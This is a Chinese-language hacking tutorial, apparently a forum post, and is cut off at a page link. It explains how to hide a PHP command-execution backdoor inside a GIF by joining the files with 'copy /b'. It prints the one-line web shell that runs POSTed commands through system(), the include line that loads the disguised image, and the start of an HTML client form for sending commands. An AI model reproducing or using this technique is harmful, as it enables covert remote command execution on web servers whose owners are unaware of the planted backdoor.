自从臭要饭的发布了那个脚本隐藏于图片中的程序之后(没看的朋友参见Bugkidz上的文章),不断就有人来说什么程序不好用拉,图片生成不了啦什么的。于是乎昨天我就重新研究了一下原理。突然想到了用一种新方法就是用copy命令进行图片与脚本的合并,却一直发现行不通,原因是不明:我一用copy合并后,图片的结构就被我破坏了,放到网页上不是图片只显示了一点就是干脆一个红叉。百思不得其解,发到论坛上请教又没人睬我。于是我发狠在晚上花了两个小时时间,终于研究出个结果了,呼,好累啊~~~
(由于我是本地试验,而我家的Apache不支持Asp,所以以下都是用的php程序注入,(我只会php)理论上asp一样可行,哪位愿意就帮我试试了,谢了先~~~)
先看看之前我是怎么干的:
C:\>copy 1.gif+2.php 3.gif
上面一句的意思是把1.gif和2.php头尾相接生成一个新文件3.gif。2.php是我自己写的一个cmdphpshell文件(安全模式关闭),代码如下:
<?$cmd=$_POST['cmd'];@system ($cmd);?>
然后在一个wfw.php中加上这么一句:
<?include("3.gif");?>
/b参数是指把需要拼接的文件都当作非文本文件处理。如果不带此参数,那么,系统会自动认为这两个文件都是文本文件,而文本文件通常是1A作为结束标志的,所以系统会在拼接两个文本文件时把前一个文本文件1A后(包括1A)的字符全部去除,以保证新生成文件的正常。这样也就解释了为什么我直接用copy命令生成的图片会不可见,因为只要其中有1A字符存在,后面的字符都会被去除。
懂了这些,后面的就一帆风顺了。建立一个本地提交POST参数的html表单:
<html>
<head>
<title>图片隐藏脚本后门程序客户端</title>
</head>
<body>
<center><font size=3 color=#555555 class=fonts><b>图片隐藏脚本后门程序客户端</b></font><br>By 我非我<br>(命令执行功能)<br><br><br>
<form method="post" action="[1] [2] 下一页